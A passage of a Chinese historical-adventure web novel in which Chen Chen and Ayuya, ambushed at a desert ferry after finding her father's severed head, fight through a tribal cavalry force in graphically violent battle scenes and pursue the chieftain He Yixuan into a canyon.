马蹄踏在沙地上,扬起滚滚烟尘。陈晨和阿育娅骑着各自的马在前面开路,两人并辔而行,偶尔对视一眼,又各自移开目光。
竖跟在马车旁,策马而行,一言不发。阿妮坐在车头上,手里攥着马鞭,驾驭着那匹瘦骨嶙峋的老马。刀马则选择跟在众人身后,离着十几丈的距离,不紧不慢地跟着。
跑了不到两个时辰,龙鳞古渡就出现在众人前方。
那是一座用木头搭起的码头,伸进一条宽阔的河道里。河水浑浊,流速湍急,岸边停着几艘破旧的渡船。再往前,是连绵起伏的山丘,一条大路蜿蜒伸向远方。
知世郎罕见地从车窗里探出头来,嘴里兴奋地喊着:
“古渡到了!古渡到了!”
话音未落……
前方突然传来隆隆的马蹄声。
龙鳞古渡方向,一支马队朝他们疾驰而来。马蹄震得地面都在发抖,烟尘滚滚,遮天蔽日。
一百来骑。
为首的是一个身穿橙色胡服的年轻人,外罩黑色轻甲,脖子上系着一条围巾,被风吹得猎猎作响。他头上戴着顶古怪的帽子,两侧各插着一根长长的羽毛,在风中一颤一颤的。一袋羽箭背在身后,腿旁挂着一把弓,弓梢上缠着彩色布条。
那人在距离陈晨两人不到十丈的位置猛然勒马,马匹人立而起,发出一声长嘶。
刀马和竖立刻纵马走到陈晨与阿育娅身边。刀马的手已经按在刀柄上,竖的柱国之刃也微微出鞘。
那年轻人身边跟着一个红衣女孩,约莫十五六岁,眉眼还没长开,嗓门却大得惊人。她一夹马腹,上前几步,高声叫道:
“四族联军奉新可汗和伊玄之命,缉拿知世郎!无关人等速速让开!”
话音落下,竖的眉头动了动。
他看了那红衣女孩一眼,又看了那年轻人一眼,然后一言不发,御马走到一旁。
陈晨没有看他,也没有说什么。
那头戴羽毛的年轻人忽然张开双臂,脸上堆起笑来:
“阿育娅!你怎么和这伙贼人在一起?你阿塔已经同意咱们的喜事了!”
阿育娅的脸瞬间变得惨白。
她张了张嘴,还没来得及说话,另一个黑衣年轻人已经纵马上前。翻身下马,他从马屁股上抱起一个箱子,语气平静地说:
“阿育娅,这是可汗送你的信物。”
陈晨的左手已经伸进木匣,摸出一柄连弩,藏在身后。他的眼睛从那黑衣年轻人脸上扫过,又扫向那戴羽毛的年轻人,最后落在那个箱子上。
黑衣年轻人打开箱子。
他的表情忽然变得慌张起来,手一抖,箱子掉在地上。从里面滚出一个圆滚滚的东西,在沙地上滚了两圈,停住。
他低头看了一眼,脸色煞白,一脚把那东西踢了出去。
那东西在沙地上滚着,一直滚到陈晨三人面前,停住。
是一颗头。
老莫的头。
阿育娅愣住。
她看着那颗头,看着那张熟悉的脸,看着那双再也不会睁开的眼睛,看着那些被血糊住的白发。
她张了张嘴,想喊什么,却什么也喊不出来。
然后她一个翻身,从马背上滚落下来。
她趴在地上,一点一点朝那颗头爬过去。沙土沾在她脸上,沾在她手上,沾在她衣服上。眼泪从她眼睛里涌出来,止不住地往下流,流进沙子里,洇出一小片深色的痕迹。
她终于爬到那颗头旁边,把它揽进怀里。
她抱着它,抱着她阿塔的头,浑身发抖。喉咙里发出压抑的、破碎的声音,像一只受伤的野兽。
陈晨则翻身下马,右手抽出霸王枪,来到阿育娅身前,将那柄长枪往沙地上一插护住阿育娅。
阿妮也从马车上跳下来,跌跌撞撞跑到她身边,跪在地上,和她一起抱着那颗头。
那踢头的黑衣年轻人看着这一幕,脸上的恐惧忽然消失了。他指着趴在地上的阿育娅,哈哈大笑起来。
“哈哈哈哈……”
笑声刺耳,像刀子一样扎进每个人心里。
然后一个冰冷的声音打断了他。
“连知世郎是谁都不知道,还敢来抓人?”
知世郎不知何时已经走到阿育娅身边。他站在那里,低着头,看着怀里的那颗头,语气冰冷得不像他。
那黑衣年轻人的笑声戛然而止。
知世郎抬起头,看向那骑在马上的和伊玄。他的目光穿过那百来骑人马,落在那戴羽毛的年轻人身上。
“可笑。”他说,声音不大,却清清楚楚送进每个人耳朵里,“奉上知世郎的首级,才能得到朝贡的资格……裴世矩是这么跟你们说的吧?”
和伊玄的脸色变了变。
“普天之下,莫非王土。中原朝廷讲究面子,你们心里清楚……朝贡一匹好马,下赐的是价值十倍的丝绸。隋廷赚的是面子,番国赚的是真金白银。而条件,仅仅是在地盘内杀一个叫知世郎的亡命徒。”
知世郎往前走了一步。
“你们这群没脑子的蠢货。朝廷要的知世郎究竟是什么人,你们谁都不知道,也没有去想过为什么。只有莫老明白……知世郎不过是一个幌子。”
“一个裴侍郎用来打通西域的幌子!”
和伊玄的瞳孔骤然收缩。
他张了张嘴,想说什么,知世郎已经抢在他前面开了口。
“我从来也没有真的相信过朝廷。”和伊玄说,声音涩得像吞了沙子,“都是相互利用……”
“相互利用?”知世郎打断他,嘴角扯出一个嘲讽的弧度,“和伊玄,你弑父篡位,就是为了给别人当棋子吗?”
和伊玄的脸瞬间变得惨白。
“五大家族齐心协力才抵得过一个国家。在你们喝下那杯茶的一瞬间,五大家族就注定要全数灭亡……你们以为的发达路,恰恰是条不归路。”
知世郎举起手,指向和伊玄。
“有朝一日,你会戴上耀眼的王冠。而你的心上人,会在你的王冠上插五根羽毛……抓知世郎是一个绝妙的机会,和伊族长,你已经准备好了。”
和伊玄的眼前忽然一阵恍惚。
他仿佛看见知世郎的脸变了,变成了另一个人……裴侍郎。那张脸正看着他,说着和知世郎一模一样的话。
“天下大势,合久必分,分久必合。五大家族分家已有五十年,是该变回一家了,此乃天时。中立地带清理门户,不容他人干涉,此乃地利。少壮当家不会瞻前顾后,有的是干劲,此乃人和。”
知世郎的声音和记忆里裴侍郎的声音重叠在一起,分毫不差。
“万事俱备,只欠东风……便由在下成就你的东风吧。你们家来一统五大家族,朝廷将全力支持你。”
和伊玄浑身发抖。
“你……你究竟是什么人?”他的声音都在颤。
知世郎看着他,沉默了一瞬。
然后他开口,声音平静得像在说一件寻常事:
“我?知世郎通晓过去,预知未来,是点燃圣火驱赶黑暗的先知,是菩提树下顿悟的佛陀,是以百姓为刍狗的圣人。”
他顿了顿。
“我是知世郎,知世郎却不是我。知世郎谁也不是……或者说,人人都可以是知世郎。”
陈晨没有听这些话。
他的眼睛一直看着阿育娅。
看着她抱着那颗头,浑身发抖。看着她眼泪流干,眼睛慢慢变得血红。看着她把老莫的头工工整整摆在地上,然后站起来,转过身,面向那一百来骑人马。
阿育娅的眼睛血红。
她从牙缝里一个字一个字往外蹦,声音冷得像从冰窖里捞出来的:
“血债,血偿。一个都不能放过。我居然把你们这群畜生当做血亲!”
她抬起手,指着和伊玄。
“跪下来谢罪,我让你们死得痛快点。”
那柄弓已经被她握在手中。
和伊玄的脸色变了又变。他拿起一个水囊,一边喝一边说,声音里带着一丝掩饰不住的慌乱:
“除了知世郎和阿育娅,其他的统统给我杀!”
话音未落……
弓弦响。
一支箭擦着和伊玄的脖子飞过,箭尖刺穿他手里的水囊,水洒了他一身。那箭离他的脖子不过分毫。
和伊玄愣住,水囊掉在地上。
下一瞬,更多的弓弦声响起。
阿育娅的箭一支接一支射出,每一箭都带走一条人命。她的箭又快又准,箭箭直奔面门,箭箭毙命。阿妮也拉开了弓,和她并肩而立,两人的箭如同暴雨一般倾泻而出。
惨叫声此起彼伏。
十几个人从马上栽下来,有的还没落地就已经死了,有的摔在地上还在惨叫,被马蹄踩成一团肉泥。
陈晨动了。
他藏在身后的连弩抬起,第一支箭直奔那踢了老莫脑袋的黑衣年轻人。
无声的箭矢如同追命的鬼。
那人还没反应过来,左腿已经被射穿。还没来得及惨叫,下一瞬,右腿也被射穿。双腿一软,跪在那里。
弩箭还在射。
左眼。
右眼。
一支弩空了,陈晨随手把它扔在地上。右手一探,又一柄连弩从木匣里抽出。
刀马从兽皮卷里抽出一柄钢斧。那斧柄上连着一串铁链,链子末端缚着一个铁球。他手腕一抖,铁链哗啦啦响,斧刃在空中划过一道弧线……
斧刃之下,皆是开膛破肚。
一个敌人被斧刃劈开胸膛,从马上栽下去。刀马一甩铁链,斧刃带着鲜血又飞回来,砍在另一个人的脑袋上。脑浆迸裂,溅了他一身。
陈晨的四支弩箭齐射,直奔和伊玄的坐骑。
那马长嘶一声,前腿一软,跪倒在地。和伊玄从马上摔下来,在地上滚了两圈,狼狈不堪。
一弩已空,陈晨左手再探,又一柄连弩。随手将木箱扔下,他右手抓住一旁的霸王枪,朝和伊玄冲去。
“挡住他!”和伊玄连滚带爬往后退。
箭矢如同飞雨一般朝陈晨射来。他长枪一扫,枪影翻飞,大半箭矢被挡开。几支漏网的箭射在他身上,却尽数被重甲挡住,只在甲片上留下几个凹坑。
陈晨抬手便射,三支弩箭封死和伊玄的退路。然后他把连弩当成暗器,猛地掷出,正中和伊玄后脑。
和伊玄被砸得一个趔趄,脚步一滞。
下一刻,陈晨的枪尖已经到了。
那长枪带着一点寒芒,直奔和伊玄的左腿扎去。这一枪要是扎实了,和伊玄这条腿就废了。
可就在这时,一个人影忽然纵马挡在陈晨的前方。
陈晨不认识他,也不想认识他。
霸王枪枪尖一抬便穿透马头,从马嘴里穿出,又戳进马上那人的胸膛。马和人的尸体串在一起,挂在枪杆上,血哗啦啦往下流。
没时间再拔枪。
陈晨扔下枪,抽出腰间长刀,闯入马群之中。
刀刃划过,数只马腿与人腿飞上半空,又落在地上,血淋淋的。他就如同一个疯子,紧紧追在和伊玄身后。别人的攻击他根本不挡,只是一个劲追着和伊玄猛砍。
和伊玄背上的衣服已经被划得稀烂,后背上道道血痕纵横交错,鲜血顺着他后背流下来,把裤子都染红了。
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就在刀刃即将砍下和伊玄脑袋的瞬间……
一只狼牙棒从视野的死角横扫而来。
那角度刁钻至极,根本不可能发现。狼牙棒重重砸在陈晨背上,砸得他一口鲜血猛地喷出,喷在沙地上,洇开一片触目惊心的红。
身后破风声又起。
陈晨来不及回头,就地一滚。
那根狼牙棒砸在他刚才的位置上,砸出一个大坑,沙土飞扬。
陈晨扭头看去……一个如山岳般的巨汉挡在他和和伊玄之间。那人赤着上身,肌肉虬结,手里拎着那根狼牙棒,像一尊杀神。
和伊玄已经上了马,纵马跑向远处。
“挡我者死。”
陈晨一个翻滚来到那巨汉身下,长刀由下往上,直刺□□。
刀尖刺入,刃口向上,连同盆骨、脊椎一同砍成两半。那巨汉惨叫一声,如山般倾倒,砸在地上,扬起一片沙尘。
“乌鲁鲁……”
在那红衣女孩的惊呼声中,一支弩箭已经她射出,钉在陈晨大腿上。
陈晨一个踉跄,单膝跪地。
红衣女孩手持弯刀,快步冲来,直取陈晨头颅。
陈晨可不是怜香惜玉的主。
他手掌一抓,攥住那女孩握刀的手,连同刀柄一起攥在掌心。那女孩的手小,他的手大,一攥之下,女孩的手指发出咔咔的碎裂声。
“想死?成全你。”
手掌发力,五根手指被生生捏成肉泥。鲜血从他指缝里流出来,女孩惨叫一声,身子一软。
右手长刀一挥,刀锋从女孩肋下切入,斜斜向上,将半个脑袋连同肩膀一起削了下来。
陈晨低头看了一眼腿上的弩箭。那箭扎得很深,箭头已经穿过大腿,从另一侧露出一点寒光。
他握紧刀柄,用力砸在箭杆上。
“噗”的一声,箭头从大腿后侧破出,带出一蓬血雾。他抓住箭头,用力一掰,箭杆断成两截。他把后半截箭杆留在腿里,随手把前半截扔了。
从红衣女孩尸体上砍下一块长布,紧紧系在腿上,勒住伤口。
陈晨站起身,转头望去。
阿育娅已经陷入苦战。几十个人把她围在中间,刀枪剑戟齐刷刷对准她。她的箭袋已经空了,手里的弯刀却还在挥舞,刀刀见血,刀刀毙命。
竖不知何时也加入了战场。柱国之刃在人群里翻飞,每一次挥刀都带走一条人命。
陈晨这才发现,自己追着和伊玄已经冲出了很远。那和伊玄就骑在马上,站在不远处,冷眼看着这边的一切,仿佛那些死去的都是与他无关的蝼蚁。
陈晨没有再看和伊玄一眼。
他弯腰捡起红衣女孩掉落的那柄单弩,看了看,上好弦,从她身上摸出一支弩箭搭在槽内。然后朝众人的方向赶去。
那弩的精度极差,晃晃悠悠飞过去,插在一个人的小腿上。那人坐在马上惨叫一声,还没反应过来,陈晨的刀已经到了。
刀刃划过马腹,连同那人的腿,一起切得粉碎。
快跑几步,来到自己的霸王枪旁边。长刀一挥,把那具挂在枪上的尸体砍成两半,尸体落在地上,内脏流了一地。
陈晨伸手握住枪杆,用力一抽,霸王枪从血肉里拔出来,带出一蓬血雾。
他看了一眼阿育娅的方向……一个敌人正纵马冲向她,手里的刀已经高高举起。
长枪掷出。
枪身在空中划过一道弧线,直奔那人后脑。
“噗”的一声闷响,枪尖从那人的后脑贯入,从面门穿出,整个头被戳爆。头骨的碎片和脑浆溅得到处都是,尸体从马上栽下,抽搐了两下,不动了。
陈晨从那边又杀了回来。
一路上,肢体纷飞。任何挡路的东西都会被刀刃撕成碎片。一条胳膊飞上半空,还握着刀的手在抽搐。半颗脑袋落在地上,眼睛还睁着,嘴还张着。内脏流了一地,被人马踩成烂泥。
陈晨率先来到那黑衣年轻人面前。
那人已经是个瞎子,双腿被射穿,眼眶里流着血,在地上蛄蛹着。嘴里还在发出嗬嗬的声响,不知是惨叫还是求饶。
陈晨弯腰,手腕一拧。
那人的头连同脊髓被他整条从身体里拽了出来。颈椎一节一节剥离,发出“咔咔”的脆响。无头的尸体抽搐了几下,不动了。
陈晨抓着他的脊骨,像握着一个流星锤,狠狠砸在旁边一个敌人的脑袋上。
一下。
两颗头同时碎开,红的白的溅得到处都是。
又一下。
碎肉横飞。
陈晨把那截脊骨扔掉,浑身浴血,站在那里,大口喘着粗气。
可是对面的人远远不止这一百骑。
龙鳞古渡方向,黑压压的一片全是马。那马多得数不清,少说也有上千匹。马上的人身穿四色胡服,红的,蓝的,黄的,白的,密密麻麻挤在一起,像潮水一般涌动。
就算他们不攻击,光是那千军万马冲过来,都能把陈晨几人踩成肉泥。
“赶快走!先走!”
陈晨一边喊,一边冲到阿育娅面前。
此时的他长刀已经插入刀鞘,那只木箱也已经背在了背后。
阿育娅已经杀红了眼。
她浑身上下都是血,有敌人的,也有自己的。眼睛里一片血红,什么都看不见,只看见那骑在马上远远观望的和伊玄。她嘴里不知在念叨什么,推开陈晨就要往前冲。
陈晨一把抱住她。
她拼命挣扎,用拳头捶他,用脚踢他,用牙咬他。陈晨不躲,也不松手,就那样抱着她,任凭她打。
“现在该走了!”
阿育娅不听。她还在挣扎,还在踢打,嘴里喊着什么,喊着血债血偿,喊着我要杀了他。
陈晨低头,吻在她嘴唇上。
那一下很轻,四片唇瓣微微触碰,便分开了。
阿育娅愣住。
“我会把它们一个一个都杀了。”陈晨说,眼睛看着她,一字一字清清楚楚,“但是现在,不走就只能死。”
阿育娅看着他。
看着他满身的血,看着他那双还冷着的眼睛,看着他握着自己的那只手。
她点了点头。
陈晨拉着她,拔出自己的长枪,翻身上马。
阿育娅也上了马,跟在他身后。
马蹄声隆隆,四匹马裹挟着马车朝远处狂奔而去。
身后,那黑压压的马队越来越近。喊杀声震天,马蹄声如雷。
陈晨回头看了一眼。
老莫的头还摆在那里,孤零零的,在沙地上。风吹过来,吹乱了他的白发。
陈晨转过头,拼命抽打着马臀。
前面是刀马,是竖,是知世郎,是阿妮,是小七,是燕子娘。
是活路。
身后是死路。
13. 第十二章:狂沙
陈晨将手指探进腿上的那个窟窿。
血是热的,伤口里的肉是软的,指尖触到那半截箭杆时,能感觉到它在体内微微晃动。他摸索着,一点一点把箭杆往外推。血顺着指缝流出来,滴在沙地上,洇出一小片暗红,很快又□□涸的沙土吸干。
他咬紧牙,猛地一拔……
箭杆带着碎肉和血,从伤口里脱出,带出一蓬血雾。那股剧痛从腿上炸开,沿着脊椎直冲头顶,他闷哼一声,额头上渗出冷汗。
箭杆随手扔在一旁,已经沾满了血,看不出本来的颜色。
他打开马背上的小包,取出一瓷瓶药粉。拔开塞子,白的粉末慢慢撒进那个血窟窿里,和红的血肉混在一起,发出轻微的“滋滋”声。药粉堆起来,渐渐堆成一个小小的沙丘,直到那“沙丘”高出皮肤,他才停手。
重新把布条系紧,勒住伤口,血很快就止住了。
他对着瓶口看了看,还剩一些。又从包里摸出另一瓶,两瓶一起递给阿育娅。
阿育娅的左肩中了一箭。好在有皮甲挡着,箭尖只擦破了皮,渗出一丝血,像一道浅浅的红线。
陈晨看着那道浅浅的伤口,眉头比刚才自己拔箭时皱得还紧。
陈晨按动机关,木箱正面应声弹开。
里面躺着一柄重弩,长三尺,弦长两尺五,弩身乌沉沉,比普通重弩大了一圈。弩臂上刻着细密的纹路,不知道是装饰还是某种符咒。旁边整整齐齐码着一壶箭,约莫五十支,箭头黝黑发亮。
他把重弩和箭筒背在身后,又从夹层里摸出最后一柄连弩。松开弓弦,挂在马侧,一伸手就能拿到。
做完这些,他把木箱拎起来。
这只箱子跟了他多少年,他自己都记不清了。从他还叫骁骑将军的时候,这只箱子就跟着他。里面的每一柄弩,每一支箭,都是他在战场上活下来的保障。
此刻他看都没再看一眼,像扔一件垃圾一样,随手扔在沙地上。
“嘭”的一声闷响,箱子落在后面,扬起一小片灰尘。
马车跑不过马。
那一千骑扬起的沙尘,铺天盖地,把太阳都遮住了。天色骤然暗下来,像黄昏提前降临,像日食吞没光明。沙尘的味道呛得人喉咙发紧,每一次呼吸都像在吞沙子。
陈晨一夹马腹,与刀马并辔。他从刀马的马背上拽下两壶羽箭,头也不回,直接朝后扔去。
阿育娅接住。
她没说话,只是单手解开背后空箭壶的绑带,任它掉在沙地上。空箭壶落在沙土里,滚了两滚,很快就被马队甩在后面。
她把两壶新箭重新绑好,拍了拍,确认结实。
两人一前一后,策马狂奔。
谁也没回头。
身后,沙尘如海啸般压过来。
无数的箭矢朝众人射来。距离尚远,大多落在身后,偶尔有几支擦着耳边飞过,带起尖锐的破风声。但随着距离不断拉近,箭矢越来越密,越来越近,死亡只是时间问题。
而在马队右侧,席卷大漠的大沙暴不知何时已经归来。
那道沙墙接天连地,从西北方向压过来,速度比马队还快。风沙之中隐约能看见闪电在云层里穿梭,雷声滚滚,像千军万马在云层上奔跑。
陈晨率先调转马头,停在原地。
刀马看到这一幕,脸上的表情顿时一变。
他勒住马,看着那个停在沙暴边缘的背影,看着那个一路杀过来、从未退过一步的男人,此刻独自勒马,面向千军万马。
过了许久,他才开口:
“丫头,能别走吗?”
他的声音很涩,像是从喉咙里硬挤出来的。
“这一走可就回不了头了。”
阿育娅没有看他。
她只是对着阿妮,喊了一声:
“阿妮,我们来世还做好姐妹!”
话音未落,她一夹马腹,朝陈晨奔去。
两人勒马,并肩站在沙暴之中。风沙打在脸上,生疼。他们的衣袍被吹得猎猎作响,马匹不安地刨着蹄子,打着响鼻。
但他们一动不动,静静地看着那奔向自己的一千骑,和跟在一千骑之后的和伊玄。
大漠中的大沙暴,听老人说已经刮了一万年。
每次来的时候,大漠都要发生变故。它扬起的沙尘有几万丈,若是不小心误入风眼,连人带马都会被刮到天上,撕得粉碎。就算只是外围,那扬起的沙尘也刮得人睁不开眼睛,更别提在这样的环境中搏杀。
但此刻,两个人两匹马,就站在这沙暴之中。
陈晨解下背后的重弩,弩柄抵在腿根,双手握住弓弦,腰腿同时发力。“嘎嘎”几声,弓弦绷紧,那声音在风沙中格外刺耳。他从背后抽出三支黝黑的弩箭,一支一支按进弩槽,动作很慢,很稳,像在做一件寻常事。
阿育娅抽出一支羽箭,弯弓搭箭,箭头对准了马队中的一人。
两人对视一眼。
那一眼里,有太多说不出口的话。
然后两匹马同时冲出,借着沙暴的掩护,朝那千军万马冲去。
“我是莫家的阿育娅!”
阿育娅仰起头,迎着风沙,声音穿过狂沙,传到每一个人耳朵里。
“我就是大沙暴!”
弓弦响。
羽箭破空而去,在空中划过一道几乎看不见的轨迹,正中一人面门。那人连惨叫都来不及发出,就从马上栽了下去,尸体很快被后面的马蹄吞没。
陈晨看着她,嘴角动了动。
然后他跟着喊道:
“若你是大沙暴,那我便是那无处不在的狂沙!”
他轻轻扣动悬刀。
三支弩箭成品字形飞出,带着尖锐的破风声,将另一人从马上射飞出去。那人胸口炸开,血肉横飞,尸体飞出数丈,落在沙地上滚了两滚,一动不动。
马队顿时乱成一团。
有人滚落下马,扑到那两具尸体旁边,扶起来一看,脸都白了。
“族长!族长!”
可是已经晚了。
那两人瞪着眼睛,胸口还在冒血,早就没了气息。
死的不能再死了。
阿育娅趁机又射出一箭。
羽箭正中那族长的膝盖。他身子一歪,从马上栽了下去。惨叫只响了一半,就被隆隆的马蹄声吞没。后面的马队收不住蹄,十几匹马从他身上践踏而过。等马群过去,地上只剩下一团血肉模糊的残骸,混在沙尘里,再也分不清哪里是人,哪里是土。
至此,四大家族的族长,只剩下和伊玄一人。
陈晨将重弩挂回背后,从马侧取下那柄霸王枪。
枪身已经被血染成了红色,枪杆上湿漉漉的,血珠还在往下滴,每滴一滴在沙地上,就洇出一小片暗红。他单手握住枪杆,手腕一翻,枪身在空中抖了个枪花……枪杆后半段缠着几圈布条,那是为了防止血多打滑。
阿育娅也从腰间拔出弯刀。刀身雪亮,在昏黄的沙暴里闪着冷光。
两人再次对视一眼。
然后,随着大沙暴一起,冲入敌阵。
枪柄一扫,数人应声飞出。
那枪杆粗如儿臂,裹着陈晨十成的力道,扫在人身上,骨头咔嚓作响。第一个被扫中的胸口塌下去一块,整个人横飞出去,撞在后面两人身上,三人滚成一团,还没爬起来,后面的马蹄已经踩了上来。
阿育娅的弯刀紧随其后。
刀光一闪,一条手臂飞上半空,还握着刀的手指还在抽搐。那人瞪着自己的断臂,还没喊出声,阿育娅的第二刀已经到了……刀锋从肋下切入,往上一挑,肚皮翻开,肠子哗啦啦流了一地。他低头看着自己的肚子,嘴张着,什么也喊不出来,直挺挺倒下去。
又一道刀光闪过,另一人的脖子喷出血来,溅在阿育娅脸上。血是热的,带着腥味,顺着她的脸颊往下淌。她连眼睛都没眨,反手一刀,又砍断一条腿。
沙暴在咆哮,风声掩盖了惨叫。只有偶尔能听见骨头碎裂的闷响,和弯刀砍进肉里的“噗噗”声。
陈晨一枪扫空一片,阿育娅趁机冲进缺口,刀刀毙命。
两人身后,留下一条血路。
顾不上回头,他们策马狂奔,硬生生穿过溃散的马队,朝落在最后的和伊玄冲去。
和伊玄顿时慌了神。
他回头看了一眼那杀神一般的两个人,脸上的血色瞬间褪尽。他拼命抽打马臀,纵马逃窜。
三人你追我赶,不知跑了多久,之前经过的葫芦谷赫然出现在眼前。
两侧峭壁如刀劈斧削,把天空切成一条细长的线。
和伊玄纵马而入。
陈晨和阿育娅勒马停在谷口。那匹白马喘着粗气,嘴角不断涌出血沫,四条腿打着颤,终于再也迈不动一步。它慢慢卧倒下来,眼睛还在看着阿育娅,像是在说:我只能送你到这里了。
陈晨翻身下马,阿育娅也跳了下来。
两人面对面站着。
风从谷口灌出来,呜呜地响。远处还能听见隐约的喊杀声,但已经被风声搅得模糊不清。
陈晨忽然抬手,把她腰间歪了的带子重新系好。
他的动作很慢,很轻,像是在做一件比杀人重要一万倍的事。
系好之后,他没有松手。他伸手,把她紧紧抱进怀里。
抱得很紧,紧到能感觉到彼此的心跳。
不过瞬息,便松开了。
“骑我的马。”他说,声音很平,像是在说一件再寻常不过的事,“要平安回来。”
阿育娅没说话。
她只是轻轻踮起脚,把自己垫高了一些……她不够高,所以踮得很用力。嘴唇轻轻印在陈晨的嘴唇上。
一触即分。
然后她转身,骑上他的马,头也不回地冲进葫芦谷。
陈晨站在原地,看着她的背影消失在山谷深处。
那匹枣红马跑得很快,马蹄声渐渐远去,远到听不见。
他转过身。
大漠里,黑压压的一片骑影正向他疾驰而来。
葫芦谷深处,阿育娅策马狂奔。
两侧的峭壁如刀劈斧削,把天空切成一条细长的线。那线越来越窄,越来越暗,像是在慢慢收拢。和伊玄的马蹄声在前面时隐时现,像逃命的鼓点,有时近,有时远,有时消失在风里,有时又从拐角处传来。
追到河边,她猛地勒住马。
岸边的沙地上,横七竖八躺着几具骨架……是之前被陈晨杀死在河边的那些家伙,早被秃鹫啄食干净。白骨在沙地里半掩半露,肋骨像一只只张开的手,指向天空。
那颗头颅还漂在水面上,几条小鱼正围着啃食他的眼球。那眼球已经被啄得稀烂,只剩两个黑洞。
河对岸,和伊玄站在那里。
他手里把玩着一个骷髅,身后站着十个黑衣仆从。看见阿育娅,他嘴角勾起一丝笑。
“我阿塔,是怎么死的!”
阿育娅的声音冷得像冰,在山谷里来回激荡,撞在峭壁上,又弹回来,一声接一声。
和伊玄用小刀在骷髅上刻着什么,头也不抬,慢悠悠地开了口:
“我那天可是带着重礼去见我的岳父大人的……为了迎娶我的新娘。”
他顿了顿,抬眼看了看阿育娅,笑容更深了。
“可是那个该死的老东西,居然骂我是个猪狗不如的畜生,是弑父忘义的败类。”
他一边说,一边继续刻。小刀刮在骨头上,发出细微的“吱吱”声。
“我只是让他交出知世郎和你,就可以活命。可是他……”
和伊玄忽然笑出声来。
“这个老东西,居然往我这个大漠的新可汗脸上吐痰。”
他抬起头,直视阿育娅的眼睛。
“所以我们四大家族,一人一刀,活剐了他。”
阿育娅的瞳孔骤然收缩。
“那老东西真是嘴硬,”和伊玄摇了摇头,语气里带着一丝古怪的“钦佩”,“连喊都不喊一声。”
河风吹过,带着血腥和腐臭。
阿育娅的目光落在陈晨挂在马侧的那柄连弩上。
她伸手一抓,弩已在手。曲柄摇动,“嘎嘎”几声弓弦绷紧……瞄准……扣动悬刀。
箭矢破空。
和伊玄抬起手中的骷髅,轻轻一挡,“叮”的一声,箭被弹开,落在河里,溅起一小簇水花。
阿育娅没有停。她再次转动曲柄,第二支箭上膛,对准和伊玄身后的仆从。
弓弦响。
那仆从应声倒地,额头开了个窟窿,血汩汩地往外冒,很快洇红了身下的沙地。
和伊玄低头看了一眼那具尸体,又抬起头看向阿育娅。脸上的笑容僵了一瞬,随即恢复如常。
“好箭法。”他说。
阿育娅没有答话,只是再次摇动曲柄。
第三支箭,已经上好了。
和伊玄脸上的笑容消失了。
他大手一挥,嘴里挤出一个字:
“上。”
身后剩余的九人顿时纵马冲出,朝阿育娅扑来。马蹄踏在沙地上,扬起一片沙尘,喊杀声震天。
阿育娅没有动。
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她端坐在马上,手里的连弩稳稳抬起。
扣动悬刀。
第三箭离弦,正中当先那人的心口。那人闷哼一声,从马上栽了下去,连惨叫都没来得及。
第四箭紧随而至,射进旁边那匹马的右眼。
那马惨嘶一声,人立而起,前蹄在空中乱蹬,把背上的主人甩了下来。然后它发狂般地乱冲乱撞,撞翻了旁边两个同伴。
阿育娅扔掉连弩,一夹枣红马的腹部。
那马纵身一跃,飞跨过不宽的小河。马还在空中,她手中的弯刀已经挥出……刀锋划过一人的脖子,血喷起三尺高,溅在河面上,很快被流水冲散。
马蹄落地,踩踏间,之前落马的那三人已经变成三具尸体。马蹄踩在他们身上,发出骨头碎裂的闷响。
阿育娅收刀取弓,拉满弦,两箭连发,又有两人应声栽倒。
她刚要直起身,一把刀从侧面砍来。她顺势往下一躺,整个人仰倒在马背上。刀刃贴着她的鼻尖掠过,冷风拂过,带着血腥味。差一点,只差一点。
“你们两个家伙……”
和伊玄冰冷的声音再次响起。
“可不要伤了我美丽的新娘。她可是可汗的女人!”
阿育娅没回话。
她就那样躺在马背上,腰腹发力,弓弦拉满。两箭破空而出,那两个刚冲上来的家伙顿时栽倒在沙地上,抽搐了两下,不动了。
马还在跑,风还在吹。
阿育娅慢慢直起身,看了和伊玄一眼。
那一眼,冷得像冰。
“和伊玄,我要你血债血偿!”
阿育娅眼睛血红,恨不得将面前之人砍作肉泥。她握着刀的手青筋暴起,指节发白。
话音未落,和伊玄手中的骷髅已经迎面飞来。
阿育娅矮身躲过,那骷髅擦着她的头发飞过,落在身后,骨碌碌滚了几圈。
再抬起头时……和伊玄的箭已离弦。
箭矢正中枣红马的额头。
那匹马踉跄了两步,四条腿打着颤,终于慢慢卧倒下来。它转过头,看着阿育娅,眼睛里有什么东西正在一点一点暗下去。
阿育娅翻身下马,蹲下来,手掌贴在它温热的脖颈上。
心跳一下。
一下。
然后停了。
那双眼睛一直看着她,直到光彻底消失。
她知道它在说什么。
阿育娅站起身,从背后的箭壶中抽出一支羽箭。
两人同时拉弓,同时射出。
两支箭在空中相撞,箭头对箭头,火星四溅,然后双双落在沙地上。
阿育娅扔下弓,朝和伊玄冲去。
和伊玄翻身下马,甚至没抽出刀。他只是侧身,一脚踹在阿育娅小腹上。那一脚力道极大,阿育娅整个人飞出去,摔在沙地上,滚了两滚。
她撑着地想爬起来,膝盖刚离地,和伊玄已经走到身边。
他低头看着她,像看一只挣扎的蚂蚁。
然后一手刀,砍在她后颈上。
阿育娅眼前一黑,失去了知觉。
陈晨这边,面前的尸体已经堆了厚厚一层。
他不知道自己杀了多久,杀了多少人。只知道每一次挥刀,每一次刺枪,都有一个敌人倒下。倒下的尸体越来越多,在他周围堆成一道矮墙。
重弩被他扔在一旁,箭壶里只剩三支箭。
长刀用袖子死死系在手上,刀刃上糊着厚厚的血,血干了又湿,湿了又干,结成一层暗红的痂。那痂太厚了,刀锋都已经看不出来。
身上的重铠只剩半套,另外半套不知什么时候被打飞了,也不知落在了哪具尸体旁边。露出的衣服上全是血,有敌人的,也有他自己的。
他的枪插在几个人身上,串在一起,像糖葫芦。
……糖葫芦。
陈晨在七岁的时候吃过一次。
那是他这辈子唯一一次吃到那个甜东西。他记得那红红的果子,裹着亮晶晶的糖稀,在日光下闪闪发光。他记得那个味道,甜的,脆的,咬一口,满嘴都是甜。
可第二天,他的生母就死在夫人手上。
他记得母亲那张脸,被打到变形,却依旧拼命护着他。她用自己的身体挡住那些落下的拳脚,用自己的脸对着他,用最后一丝力气冲他喊:“别怕,闭上眼睛。”
他闭上了眼睛。
等他再睁开的时候,母亲已经不动了。
从那以后,只要看到糖葫芦,他就会想起那张脸。
“来啊!”
他抬起头,血从脸上迸裂的伤口流下来,淌进嘴里,咸腥的。
“再来!一起上好了……我会把你们都杀了!”
对面那些人骑在马上,静静地看着他。
一动不动。
